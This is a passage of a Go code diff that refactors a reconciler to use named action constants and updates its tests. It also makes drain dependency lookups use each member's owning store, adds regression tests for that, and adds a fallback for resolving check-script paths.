-				Error: fmt.Errorf("setting state to terminated: %w", err),
-			}
+			return ActionCompletedTerminal, fmt.Errorf("setting state to terminated: %w", err)
 		}
 	}
 
 	// Close the bead.
 	if err := r.Handler.Store.CloseBead(beadID, CloseReasonReconcileDone); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("closing bead: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("closing bead: %w", err)
 	}
 
 	// Write last_processed_wisp if there is a highest closed wisp
 	// (write ordering: always last).
-	children, err := r.Handler.Store.Children(beadID)
-	if err == nil {
-		if hw, _, found := highestClosedWisp(children, beadID); found {
-			_ = r.Handler.Store.SetMetadata(beadID, FieldLastProcessedWisp, hw.ID)
-		}
+	if stats.HighestClosedFound {
+		_ = r.Handler.Store.SetMetadata(beadID, FieldLastProcessedWisp, stats.HighestClosed.ID)
 	}
 
-	return ReconcileDetail{BeadID: beadID, Action: "completed_terminal"}
+	return ActionCompletedTerminal, nil
 }
 
 // backfillTerminalActor sets terminal_actor to "recovery" if it is
@@ -609,74 +523,16 @@ func (r *Reconciler) backfillTerminalActor(beadID string, meta map[string]string
 }
 
 // deriveIterationFromChildren counts closed convergence wisps among the
-// children of beadID. This is the same logic as Handler.deriveIterationCount
-// but operates on a pre-fetched child list.
+// children of beadID. Thin accessor over childStats for the closed-wisp count.
 func deriveIterationFromChildren(children []BeadInfo, beadID string) int {
-	prefix := IdempotencyKeyPrefix(beadID)
-	count := 0
-	for _, child := range children {
-		if strings.HasPrefix(child.IdempotencyKey, prefix) && child.Status == "closed" {
-			count++
-		}
-	}
-	return count
+	return childStats(children, beadID).ClosedCount
 }
 
 // highestClosedWisp finds the closed convergence wisp with the highest
-// iteration number among the children of beadID.
+// iteration number among the children of beadID. Thin accessor over childStats.
 func highestClosedWisp(children []BeadInfo, beadID string) (BeadInfo, int, bool) {
-	prefix := IdempotencyKeyPrefix(beadID)
-	var best BeadInfo
-	bestIter := -1
-	found := false
-
-	for _, child := range children {
-		if !strings.HasPrefix(child.IdempotencyKey, prefix) {
-			continue
-		}
-		if child.Status != "closed" {
-			continue
-		}
-		iter, ok := ParseIterationFromKey(child.IdempotencyKey)
-		if !ok {
-			continue
-		}
-		if iter > bestIter {
-			best = child
-			bestIter = iter
-			found = true
-		}
-	}
-
-	return best, bestIter, found
-}
-
-// deriveIterationFromChildrenViaStore fetches children from the store
-// and delegates to deriveIterationFromChildren.
-func (r *Reconciler) deriveIterationFromChildrenViaStore(beadID string) (int, error) {
-	children, err := r.Handler.Store.Children(beadID)
-	if err != nil {
-		return 0, err
-	}
-	return deriveIterationFromChildren(children, beadID), nil
-}
-
-// cumulativeDuration computes the cumulative duration across all closed
-// convergence wisps (best-effort, returns 0 on error).
-func (r *Reconciler) cumulativeDuration(beadID string) int64 {
-	children, err := r.Handler.Store.Children(beadID)
-	if err != nil {
-		return 0
-	}
-	prefix := IdempotencyKeyPrefix(beadID)
-	var total int64
-	for _, child := range children {
-		if strings.HasPrefix(child.IdempotencyKey, prefix) && child.Status == "closed" &&
-			!child.ClosedAt.IsZero() && !child.CreatedAt.IsZero() {
-			total += child.ClosedAt.Sub(child.CreatedAt).Milliseconds()
-		}
-	}
-	return total
+	s := childStats(children, beadID)
+	return s.HighestClosed, s.HighestClosedIter, s.HighestClosedFound
 }
 
 // emitRecoveryEvent emits a convergence event with the recovery flag
diff --git a/internal/convergence/reconcile_test.go b/internal/convergence/reconcile_test.go
index 7ffbc3e51c..0a8d1513b6 100644
--- a/internal/convergence/reconcile_test.go
+++ b/internal/convergence/reconcile_test.go
@@ -42,7 +42,7 @@ func TestReconcile_WaitingTrigger_NoAction(t *testing.T) {
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	if len(report.Details) != 1 || report.Details[0].Action != "no_action" {
+	if len(report.Details) != 1 || report.Details[0].Action != ActionNoAction {
 		t.Errorf("action = %+v, want no_action", report.Details)
 	}
 	// State must be preserved so the tick re-evaluates the trigger.
@@ -67,7 +67,7 @@ func TestReconcile_WaitingTrigger_CompletesInterruptedStop(t *testing.T) {
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	if len(report.Details) != 1 || report.Details[0].Action != "completed_terminal" {
+	if len(report.Details) != 1 || report.Details[0].Action != ActionCompletedTerminal {
 		t.Errorf("action = %+v, want completed_terminal", report.Details)
 	}
 	info, _ := store.GetBead("root-1")
@@ -103,8 +103,8 @@ func TestReconcile_MissingState_NoWisps_PoursFirst(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "poured_wisp" {
-		t.Errorf("Action = %q, want %q", d.Action, "poured_wisp")
+	if d.Action != ActionPouredWisp {
+		t.Errorf("Action = %q, want %q", d.Action, ActionPouredWisp)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -139,8 +139,8 @@ func TestReconcile_MissingState_WispExists_Adopts(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "adopted_wisp" {
-		t.Errorf("Action = %q, want %q", d.Action, "adopted_wisp")
+	if d.Action != ActionAdoptedWisp {
+		t.Errorf("Action = %q, want %q", d.Action, ActionAdoptedWisp)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -177,8 +177,8 @@ func TestReconcile_StateCreating_TerminatesPartialCreation(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "completed_terminal" {
-		t.Errorf("Action = %q, want %q", d.Action, "completed_terminal")
+	if d.Action != ActionCompletedTerminal {
+		t.Errorf("Action = %q, want %q", d.Action, ActionCompletedTerminal)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -224,8 +224,8 @@ func TestReconcile_TerminatedNotClosed_CompletesClosure(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "completed_terminal" {
-		t.Errorf("Action = %q, want %q", d.Action, "completed_terminal")
+	if d.Action != ActionCompletedTerminal {
+		t.Errorf("Action = %q, want %q", d.Action, ActionCompletedTerminal)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -270,8 +270,8 @@ func TestReconcile_TerminatedNotClosed_BackfillsActor(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "completed_terminal" {
-		t.Errorf("Action = %q, want %q", d.Action, "completed_terminal")
+	if d.Action != ActionCompletedTerminal {
+		t.Errorf("Action = %q, want %q", d.Action, ActionCompletedTerminal)
 	}
 
 	meta, _ := store.GetMetadata("root-1")
@@ -295,8 +295,8 @@ func TestReconcile_TerminatedAlreadyClosed_NoAction(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "no_action" {
-		t.Errorf("Action = %q, want %q", d.Action, "no_action")
+	if d.Action != ActionNoAction {
+		t.Errorf("Action = %q, want %q", d.Action, ActionNoAction)
 	}
 }
 
@@ -322,8 +322,8 @@ func TestReconcile_WaitingManual_TerminalReasonSet_CompletesTerminal(t *testing.
 	}
 
 	d := report.Details[0]
-	if d.Action != "completed_terminal" {
-		t.Errorf("Action = %q, want %q", d.Action, "completed_terminal")
+	if d.Action != ActionCompletedTerminal {
+		t.Errorf("Action = %q, want %q", d.Action, ActionCompletedTerminal)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -366,8 +366,8 @@ func TestReconcile_WaitingManual_GenuineHold_NoStateChange(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "no_action" {
-		t.Errorf("Action = %q, want %q", d.Action, "no_action")
+	if d.Action != ActionNoAction {
+		t.Errorf("Action = %q, want %q", d.Action, ActionNoAction)
 	}
 
 	// State should remain waiting_manual.
@@ -414,8 +414,8 @@ func TestReconcile_WaitingManual_GenuineHold_RepairsLastProcessedWisp(t *testing
 	}
 
 	d := report.Details[0]
-	if d.Action != "repaired_state" {
-		t.Errorf("Action = %q, want %q", d.Action, "repaired_state")
+	if d.Action != ActionRepairedState {
+		t.Errorf("Action = %q, want %q", d.Action, ActionRepairedState)
 	}
 
 	meta, _ := store.GetMetadata("root-1")
@@ -452,8 +452,8 @@ func TestReconcile_Active_ClosedUnprocessedWisp_Replays(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "repaired_state" {
-		t.Errorf("Action = %q, want %q", d.Action, "repaired_state")
+	if d.Action != ActionRepairedState {
+		t.Errorf("Action = %q, want %q", d.Action, ActionRepairedState)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -503,8 +503,8 @@ func TestReconcile_Active_MissingActiveWisp_ReconstructsChain(t *testing.T) {
 	if d.Error != nil {
 		t.Fatalf("reconcile error: %v", d.Error)
 	}
-	if d.Action != "poured_wisp" && d.Action != "adopted_wisp" {
-		t.Fatalf("Action = %q, want %q or %q", d.Action, "poured_wisp", "adopted_wisp")
+	if d.Action != ActionPouredWisp && d.Action != ActionAdoptedWisp {
+		t.Fatalf("Action = %q, want %q or %q", d.Action, ActionPouredWisp, ActionAdoptedWisp)
 	}
 
 	meta, _ := store.GetMetadata("root-1")
@@ -546,8 +546,8 @@ func TestReconcile_Active_MissingActiveWisp_ReplaysRecoveredClosedReplacement(t
 	if d.Error != nil {
 		t.Fatalf("reconcile error: %v", d.Error)
 	}
-	if d.Action != "repaired_state" {
-		t.Fatalf("Action = %q, want %q", d.Action, "repaired_state")
+	if d.Action != ActionRepairedState {
+		t.Fatalf("Action = %q, want %q", d.Action, ActionRepairedState)
 	}
 
 	meta, _ := store.GetMetadata("root-1")
@@ -586,8 +586,8 @@ func TestReconcile_Active_MissingActiveWisp_RepairsOpenReplacementMetadata(t *te
 	if d.Error != nil {
 		t.Fatalf("reconcile error: %v", d.Error)
 	}
-	if d.Action != "repaired_state" {
-		t.Fatalf("Action = %q, want %q", d.Action, "repaired_state")
+	if d.Action != ActionRepairedState {
+		t.Fatalf("Action = %q, want %q", d.Action, ActionRepairedState)
 	}
 
 	meta, _ := store.GetMetadata("root-1")
@@ -620,8 +620,8 @@ func TestReconcile_Active_StoreErrorReadingActiveWisp_ReportsError(t *testing.T)
 	if got := d.Error.Error(); !strings.Contains(got, "store unavailable for wisp-iter-1") {
 		t.Fatalf("reconcile error = %q, want store failure", got)
 	}
-	if d.Action != "no_action" {
-		t.Fatalf("Action = %q, want %q", d.Action, "no_action")
+	if d.Action != ActionNoAction {
+		t.Fatalf("Action = %q, want %q", d.Action, ActionNoAction)
 	}
 }
 
@@ -643,8 +643,8 @@ func TestReconcile_Active_OpenWisp_NoAction(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "no_action" {
-		t.Errorf("Action = %q, want %q", d.Action, "no_action")
+	if d.Action != ActionNoAction {
+		t.Errorf("Action = %q, want %q", d.Action, ActionNoAction)
 	}
 }
 
@@ -666,8 +666,8 @@ func TestReconcile_Active_TerminalReasonSet_CompletesStop(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "completed_terminal" {
-		t.Errorf("Action = %q, want %q", d.Action, "completed_terminal")
+	if d.Action != ActionCompletedTerminal {
+		t.Errorf("Action = %q, want %q", d.Action, ActionCompletedTerminal)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -707,8 +707,8 @@ func TestReconcile_Active_EmptyActiveWisp_PoursNext(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "poured_wisp" {
-		t.Errorf("Action = %q, want %q", d.Action, "poured_wisp")
+	if d.Action != ActionPouredWisp {
+		t.Errorf("Action = %q, want %q", d.Action, ActionPouredWisp)
 	}
 	if d.Error != nil {
 		t.Errorf("unexpected error: %v", d.Error)
@@ -741,8 +741,8 @@ func TestReconcile_Active_EmptyActiveWisp_AdoptsExisting(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "adopted_wisp" {
-		t.Errorf("Action = %q, want %q", d.Action, "adopted_wisp")
+	if d.Action != ActionAdoptedWisp {
+		t.Errorf("Action = %q, want %q", d.Action, ActionAdoptedWisp)
 	}
 
 	meta, _ := store.GetMetadata("root-1")
@@ -771,8 +771,8 @@ func TestReconcile_Active_AlreadyProcessed_NoAction(t *testing.T) {
 	}
 
 	d := report.Details[0]
-	if d.Action != "no_action" {
-		t.Errorf("Action = %q, want %q", d.Action, "no_action")
+	if d.Action != ActionNoAction {
+		t.Errorf("Action = %q, want %q", d.Action, ActionNoAction)
 	}
 }
 
@@ -818,8 +818,8 @@ func TestReconcile_MultipleBeads_ContinuesOnError(t *testing.T) {
 	}
 
 	// bead-1: completed_terminal
-	if report.Details[0].Action != "completed_terminal" {
-		t.Errorf("bead-1 Action = %q, want %q", report.Details[0].Action, "completed_terminal")
+	if report.Details[0].Action != ActionCompletedTerminal {
+		t.Errorf("bead-1 Action = %q, want %q", report.Details[0].Action, ActionCompletedTerminal)
 	}
 
 	// bead-2: error
@@ -828,8 +828,8 @@ func TestReconcile_MultipleBeads_ContinuesOnError(t *testing.T) {
 	}
 
 	// bead-3: no_action (already closed)
-	if report.Details[2].Action != "no_action" {
-		t.Errorf("bead-3 Action = %q, want %q", report.Details[2].Action, "no_action")
+	if report.Details[2].Action != ActionNoAction {
+		t.Errorf("bead-3 Action = %q, want %q", report.Details[2].Action, ActionNoAction)
 	}
 }
 
diff --git a/internal/dispatch/drain.go b/internal/dispatch/drain.go
index a515756264..54ed710977 100644
--- a/internal/dispatch/drain.go
+++ b/internal/dispatch/drain.go
@@ -143,7 +143,7 @@ func expandDrain(store beads.Store, bead beads.Bead, opts ProcessOptions) (Contr
 		}
 
 		if row.ItemRootID == "" {
-			blockerIDs, err := drainProjectedBlockerIDs(store, member.ID, manifest)
+			blockerIDs, err := drainProjectedBlockerIDs(store, member.ID, manifest, opts)
 			if err != nil {
 				return ControlResult{}, fmt.Errorf("%s: listing source dependencies for member %s: %w", bead.ID, member.ID, err)
 			}
@@ -166,7 +166,7 @@ func expandDrain(store beads.Store, bead beads.Bead, opts ProcessOptions) (Contr
 			}
 			return ControlResult{}, fmt.Errorf("%s: wiring drain item root %s: %w", bead.ID, row.ItemRootID, err)
 		}
-		if err := ensureDrainRowDependencyProjection(store, bead, manifest, member.ID, row.ItemRootID); err != nil {
+		if err := ensureDrainRowDependencyProjection(store, bead, manifest, member.ID, row.ItemRootID, opts); err != nil {
 			if controllerSpawnBoundaryPending(store, bead.ID, err, opts) {
 				return ControlResult{}, ErrControlPending
 			}
@@ -177,7 +177,7 @@ func expandDrain(store beads.Store, bead beads.Bead, opts ProcessOptions) (Contr
 			return ControlResult{}, fmt.Errorf("%s: recording drain progress: %w", bead.ID, err)
 		}
 	}
-	if err := ensureDrainDependencyProjection(store, bead, manifest); err != nil {
+	if err := ensureDrainDependencyProjection(store, bead, manifest, opts); err != nil {
 		if controllerSpawnBoundaryPending(store, bead.ID, err, opts) {
 			return ControlResult{}, ErrControlPending
 		}
@@ -253,7 +253,7 @@ func loadOrBuildDrainManifest(store beads.Store, bead beads.Bead, parentConvoyID
 		}
 		return drainManifest{}, nil, errDrainLimitExceeded
 	}
-	orderedMembers, err := orderDrainMembersByDependencies(store, members)
+	orderedMembers, err := orderDrainMembersByDependencies(store, members, opts)
 	if err != nil {
 		return drainManifest{}, nil, fmt.Errorf("%s: ordering drain members for %s: %w", bead.ID, parentConvoyID, err)
 	}
@@ -320,6 +320,25 @@ func drainMemberOwningStore(store beads.Store, memberID string, opts ProcessOpti
 	return store, nil
 }
 
+// drainMemberDepStore returns the store to read a drain member's dependency
+// edges from. A member work bead — and the dependency edges co-resident with it
+// — may live in a different per-class store than the ambient graph store the
+// drain control runs in. When per-class member stores are configured it resolves
+// the member's owning store (drainMemberOwningStore); with none configured
+// (single-store callers) it returns the ambient store WITHOUT the owning-store
+// probe read, so today's behavior — including the pre-seam DepList error path —
+// is byte-identical and the per-tick drain projection sweep adds no extra
+// round-trip. Unlike reserveDrainMember/releaseDrainReservations (which Get the
+// member anyway to read/write its reservation metadata), the projection reads
+// only the member's edges, so the probe would be pure overhead in the common
+// single-store case.
+func drainMemberDepStore(store beads.Store, memberID string, opts ProcessOptions) (beads.Store, error) {
+	if len(opts.MemberStores) == 0 {
+		return store, nil
+	}
+	return drainMemberOwningStore(store, memberID, opts)
+}
+
 func loadDrainManifestMembers(store beads.Store, controlID string, manifest drainManifest, opts ProcessOptions) ([]beads.Bead, error) {
 	probe := drainMemberProbeSet(store, opts)
 	members := make([]beads.Bead, 0, len(manifest.Rows))
@@ -373,7 +392,7 @@ func completeDrain(store beads.Store, bead beads.Bead, opts ProcessOptions) (Con
 	// Re-running the projection here lets manifests whose item workflows were
 	// wired to source members by earlier builds heal while the drain waits on
 	// open item roots; expansion never revisits an expanded drain.
-	if err := ensureDrainDependencyProjection(store, bead, manifest); err != nil {
+	if err := ensureDrainDependencyProjection(store, bead, manifest, opts); err != nil {
 		if controllerSpawnBoundaryPending(store, bead.ID, err, opts) {
 			return ControlResult{}, ErrControlPending
 		}
@@ -458,7 +477,7 @@ func advanceSharedDrain(store beads.Store, bead beads.Bead, manifest drainManife
 	// source member by an earlier build never closes (drains do not close
 	// source members), and in shared mode its blocker row is not even
 	// materialized until this row's root closes.
-	if err := ensureDrainDependencyProjection(store, bead, manifest); err != nil {
+	if err := ensureDrainDependencyProjection(store, bead, manifest, opts); err != nil {
 		if controllerSpawnBoundaryPending(store, bead.ID, err, opts) {
 			return ControlResult{}, ErrControlPending
 		}
@@ -500,7 +519,7 @@ func advanceSharedDrain(store beads.Store, bead beads.Bead, manifest drainManife
 			}
 			return ControlResult{}, err
 		}
-		if err := ensureDrainDependencyProjection(store, bead, manifest); err != nil {
+		if err := ensureDrainDependencyProjection(store, bead, manifest, opts); err != nil {
 			if controllerSpawnBoundaryPending(store, bead.ID, err, opts) {
 				return ControlResult{}, ErrControlPending
 			}
@@ -543,7 +562,7 @@ func materializeDrainRow(store beads.Store, control beads.Bead, manifest drainMa
 		unit = reloaded
 	}
 	if row.ItemRootID == "" {
-		blockerIDs, err := drainProjectedBlockerIDs(store, member.ID, manifest)
+		blockerIDs, err := drainProjectedBlockerIDs(store, member.ID, manifest, opts)
 		if err != nil {
 			return 0, fmt.Errorf("%s: listing source dependencies for member %s: %w", control.ID, member.ID, err)
 		}
@@ -563,7 +582,7 @@ func materializeDrainRow(store beads.Store, control beads.Bead, manifest drainMa
 		}
 		return 0, fmt.Errorf("%s: wiring drain item root %s: %w", control.ID, row.ItemRootID, err)
 	}
-	if err := ensureDrainRowDependencyProjection(store, control, manifest, member.ID, row.ItemRootID); err != nil {
+	if err := ensureDrainRowDependencyProjection(store, control, manifest, member.ID, row.ItemRootID, opts); err != nil {
 		if controllerSpawnBoundaryPending(store, control.ID, err, opts) {
 			return 0, ErrControlPending
 		}
@@ -573,22 +592,22 @@ func materializeDrainRow(store beads.Store, control beads.Bead, manifest drainMa
 	return createdCount, nil
 }
 
-func ensureDrainDependencyProjection(store beads.Store, control beads.Bead, manifest drainManifest) error {
+func ensureDrainDependencyProjection(store beads.Store, control beads.Bead, manifest drainManifest, opts ProcessOptions) error {
 	for _, row := range manifest.Rows {
 		memberID := strings.TrimSpace(row.MemberID)
 		rootID := strings.TrimSpace(row.ItemRootID)
 		if memberID == "" || rootID == "" {
 			continue
 		}
-		if err := ensureDrainRowDependencyProjection(store, control, manifest, memberID, rootID); err != nil {
+		if err := ensureDrainRowDependencyProjection(store, control, manifest, memberID, rootID, opts); err != nil {
 			return err
 		}
 	}
 	return nil
 }
 
-func ensureDrainRowDependencyProjection(store beads.Store, control beads.Bead, manifest drainManifest, memberID, rootID string) error {
-	blockerIDs, err := drainProjectedBlockerIDs(store, memberID, manifest)
+func ensureDrainRowDependencyProjection(store beads.Store, control beads.Bead, manifest drainManifest, memberID, rootID string, opts ProcessOptions) error {
+	blockerIDs, err := drainProjectedBlockerIDs(store, memberID, manifest, opts)
 	if err != nil {
 		return fmt.Errorf("%s: listing source dependencies for member %s: %w", control.ID, memberID, err)
 	}
@@ -631,10 +650,18 @@ func drainManifestMemberIDs(manifest drainManifest) map[string]bool {
 	return memberIDs
 }
 
-func drainProjectedBlockerIDs(store beads.Store, memberID string, manifest drainManifest) ([]string, error) {
+func drainProjectedBlockerIDs(store beads.Store, memberID string, manifest drainManifest, opts ProcessOptions) ([]string, error) {
 	rootByMember := drainRootByMember(manifest)
 	manifestMembers := drainManifestMemberIDs(manifest)
-	deps, err := store.DepList(memberID, "down")
+	// A member work bead's dependency edges are co-resident with it and may live
+	// in a different per-class store than this drain control's ambient graph
+	// store; read them from the member's owning store (probe-free identity to the
+	// ambient store for single-store callers — see drainMemberDepStore).
+	memberStore, err := drainMemberDepStore(store, memberID, opts)
+	if err != nil {
+		return nil, err
+	}
+	deps, err := memberStore.DepList(memberID, "down")
 	if err != nil {
 		return nil, err
 	}
@@ -828,7 +855,7 @@ func buildDrainManifest(bead beads.Bead, parentConvoyID, itemFormula string, mem
 	return drainManifest{Version: 1, Context: context, ParentConvoyID: parentConvoyID, Formula: itemFormula, Rows: rows}
 }
 
-func orderDrainMembersByDependencies(store beads.Store, members []beads.Bead) ([]beads.Bead, error) {
+func orderDrainMembersByDependencies(store beads.Store, members []beads.Bead, opts ProcessOptions) ([]beads.Bead, error) {
 	if len(members) < 2 {
 		return members, nil
 	}
@@ -846,7 +873,16 @@ func orderDrainMembersByDependencies(store beads.Store, members []beads.Bead) ([
 		if memberID == "" {
 			continue
 		}
-		deps, err := store.DepList(memberID, "down")
+		// A member's dependency edges are co-resident with the member work bead,
+		// which may live in a different per-class store than the ambient graph
+		// store; resolve the member's owning store (probe-free identity to the
+		// ambient store for single-store callers — see drainMemberDepStore)
+		// before listing its edges.
+		memberStore, err := drainMemberDepStore(store, memberID, opts)
+		if err != nil {
+			return nil, fmt.Errorf("resolving source dependency store for member %s: %w", memberID, err)
+		}
+		deps, err := memberStore.DepList(memberID, "down")
 		if err != nil {
 			return nil, fmt.Errorf("listing source dependencies for member %s: %w", memberID, err)
 		}
diff --git a/internal/dispatch/drain_test.go b/internal/dispatch/drain_test.go
index a7d021f313..0d1f2f06c2 100644
--- a/internal/dispatch/drain_test.go
+++ b/internal/dispatch/drain_test.go
@@ -228,6 +228,82 @@ func TestProcessDrainSeparateTopologicallyOrdersMembersBeforeCreation(t *testing
 	assertHasBlockingDep(t, mem, manifest.Rows[1].ItemRootID, manifest.Rows[0].ItemRootID)
 }
 
+// TestOrderDrainMembersByDependenciesRoutesMemberDepsToOwningStore proves the
+// two-store shape: when a drain's convoy members live in a separate per-class
+// store (supplied via ProcessOptions.MemberStores), member dependency ordering
+// reads each member's edges from the member's OWNING store, not the ambient
+// graph store the drain control runs in. A dependency edge is co-resident with
+// its source bead, so reverting orderDrainMembersByDependencies to a bare
+// store.DepList makes the (empty) ambient store report no blocker and the
+// ordering silently collapses to insertion order — this is the regression
+// canary for the member-dep cross-store routing.
+func TestOrderDrainMembersByDependenciesRoutesMemberDepsToOwningStore(t *testing.T) {
+	ambient := beads.NewMemStore() // the drain control's graph store — holds no members
+	memberStore := beads.NewMemStore()
+
+	blocker, err := memberStore.Create(beads.Bead{Title: "blocker", Type: "task"})
+	if err != nil {
+		t.Fatalf("create blocker: %v", err)
+	}
+	dependent, err := memberStore.Create(beads.Bead{Title: "dependent", Type: "task"})
+	if err != nil {
+		t.Fatalf("create dependent: %v", err)
+	}
+	// dependent blocks-on blocker; the edge lives only in the member store.
+	mustDepAdd(t, memberStore, dependent.ID, blocker.ID, "blocks")
+
+	// Pass members in reverse (dependency) order so a no-op ordering would leave
+	// them unchanged; correct ordering must move the blocker ahead of the dependent.
+	ordered, err := orderDrainMembersByDependencies(ambient, []beads.Bead{dependent, blocker}, ProcessOptions{MemberStores: []beads.Store{memberStore}})
+	if err != nil {
+		t.Fatalf("orderDrainMembersByDependencies: %v", err)
+	}
+	if len(ordered) != 2 || ordered[0].ID != blocker.ID || ordered[1].ID != dependent.ID {
+		got := make([]string, 0, len(ordered))
+		for _, b := range ordered {
+			got = append(got, b.ID)
+		}
+		t.Fatalf("order = %v, want blocker %s before dependent %s (member deps must route to the member store)", got, blocker.ID, dependent.ID)
+	}
+}
+
+// TestDrainProjectedBlockerIDsRoutesMemberDepsToOwningStore proves
+// drainProjectedBlockerIDs reads a member's outbound dependency edges from the
+// member's owning store when the member lives in a separate per-class store, and
+// projects an in-manifest blocker onto the blocker's item root. Reverting to a
+// bare store.DepList makes the empty ambient store report no blockers, so this
+// is the regression canary for the projected-blocker cross-store routing.
+func TestDrainProjectedBlockerIDsRoutesMemberDepsToOwningStore(t *testing.T) {
+	ambient := beads.NewMemStore()
+	memberStore := beads.NewMemStore()
+
+	blocker, err := memberStore.Create(beads.Bead{Title: "blocker", Type: "task"})
+	if err != nil {
+		t.Fatalf("create blocker: %v", err)
+	}
+	dependent, err := memberStore.Create(beads.Bead{Title: "dependent", Type: "task"})
+	if err != nil {
+		t.Fatalf("create dependent: %v", err)
+	}
+	mustDepAdd(t, memberStore, dependent.ID, blocker.ID, "blocks")
+
+	manifest := drainManifest{
+		Version: 1,
+		Rows: []drainManifestRow{
+			{Index: 0, MemberID: blocker.ID, ItemRootID: "root-blocker"},
+			{Index: 1, MemberID: dependent.ID, ItemRootID: "root-dependent"},
+		},
+	}
+
+	blockerIDs, err := drainProjectedBlockerIDs(ambient, dependent.ID, manifest, ProcessOptions{MemberStores: []beads.Store{memberStore}})
+	if err != nil {
+		t.Fatalf("drainProjectedBlockerIDs: %v", err)
+	}
+	if len(blockerIDs) != 1 || blockerIDs[0] != "root-blocker" {
+		t.Fatalf("blockerIDs = %v, want [root-blocker] (member deps routed to member store, projected onto the blocker's item root)", blockerIDs)
+	}
+}
+
 func TestProcessDrainSeparateSucceedsForEmptyInputConvoy(t *testing.T) {
 	formulatest.EnableV2ForTest(t)
 	dir := t.TempDir()
diff --git a/internal/dispatch/fanout.go b/internal/dispatch/fanout.go
index ae1497b15d..87082a6fb1 100644
--- a/internal/dispatch/fanout.go
+++ b/internal/dispatch/fanout.go
@@ -35,11 +35,7 @@ func processFanout(store beads.Store, bead beads.Bead, opts ProcessOptions) (Con
 		if err := updateMetadataAndClose(store, bead.ID, closeMetadata); err != nil {
 			return ControlResult{}, fmt.Errorf("%s: closing fanout: %w", bead.ID, err)
 		}
-		closedBead, err := store.Get(bead.ID)
-		if err != nil {
-			return ControlResult{}, fmt.Errorf("%s: reloading closed fanout: %w", bead.ID, err)
-		}
-		scopeResult, err := reconcileTerminalScopedMemberWithOptions(store, closedBead, opts)
+		scopeResult, err := reconcileClosedScopeMemberWithOptions(store, bead.ID, opts)
 		if err != nil {
 			return ControlResult{}, err
 		}
@@ -77,11 +73,7 @@ func processFanout(store beads.Store, bead beads.Bead, opts ProcessOptions) (Con
 		if err := setOutcomeAndClose(store, bead.ID, beadmeta.OutcomeFail); err != nil {
 			return ControlResult{}, fmt.Errorf("%s: closing failed fanout: %w", bead.ID, err)
 		}
-		closedBead, err := store.Get(bead.ID)
-		if err != nil {
-			return ControlResult{}, fmt.Errorf("%s: reloading failed fanout: %w", bead.ID, err)
-		}
-		scopeResult, err := reconcileTerminalScopedMemberWithOptions(store, closedBead, opts)
+		scopeResult, err := reconcileClosedScopeMemberWithOptions(store, bead.ID, opts)
 		if err != nil {
 			return ControlResult{}, err
 		}
@@ -96,11 +88,7 @@ func processFanout(store beads.Store, bead beads.Bead, opts ProcessOptions) (Con
 		if err := setOutcomeAndClose(store, bead.ID, beadmeta.OutcomePass); err != nil {
 			return ControlResult{}, fmt.Errorf("%s: closing empty fanout: %w", bead.ID, err)
 		}
-		closedBead, err := store.Get(bead.ID)
-		if err != nil {
-			return ControlResult{}, fmt.Errorf("%s: reloading empty fanout: %w", bead.ID, err)
-		}
-		scopeResult, err := reconcileTerminalScopedMemberWithOptions(store, closedBead, opts)
+		scopeResult, err := reconcileClosedScopeMemberWithOptions(store, bead.ID, opts)
 		if err != nil {
 			return ControlResult{}, err
 		}
diff --git a/internal/dispatch/ralph.go b/internal/dispatch/ralph.go
index 0e8042141e..0f1f78eb16 100644
--- a/internal/dispatch/ralph.go
+++ b/internal/dispatch/ralph.go
@@ -2,7 +2,9 @@ package dispatch
 
 import (
 	"context"
+	"errors"
 	"fmt"
+	"io/fs"
 	"path/filepath"
 	"sort"
 	"strconv"
@@ -196,6 +198,20 @@ func runRalphCheck(store beads.Store, bead, subject beads.Bead, attempt int, opt
 		return convergence.GateResult{}, fmt.Errorf("%s: absolute gc.check_path %q escapes trusted roots", bead.ID, checkPath)
 	}
 	scriptPath, err := convergence.ResolveConditionPath(cityPath, scriptBase, checkPath)
+	if err != nil && scriptBase != storePath && !filepath.IsAbs(checkPath) && errors.Is(err, fs.ErrNotExist) {
+		// Pack-shipped check scripts live in the pack/city tree, not the
+		// per-task gc.work_dir worktree, so a relative gc.check_path joined
+		// against a work_dir worktree that lacks the pack tree resolves to a
+		// nonexistent path (gastownhall/gascity#3008). Fall back to the
+		// store/city root — exactly the base used when work_dir is empty, so
+		// it introduces no new trusted root and stays subject to
+		// ResolveConditionPath's containment checks. Only on a not-exist miss,
+		// so a check that does exist under the worktree keeps precedence; the
+		// original work_dir error is preserved when the fallback also misses.
+		if fallbackPath, fallbackErr := convergence.ResolveConditionPath(cityPath, storePath, checkPath); fallbackErr == nil {
+			scriptPath, err = fallbackPath, nil
+		}
+	}
 	if err != nil {
 		return convergence.GateResult{}, fmt.Errorf("%s: resolving check path: %w", bead.ID, err)
 	}
diff --git a/internal/dispatch/ralph_test.go b/internal/dispatch/ralph_test.go
index c7d927d17f..5fbe78b310 100644
--- a/internal/dispatch/ralph_test.go
+++ b/internal/dispatch/ralph_test.go
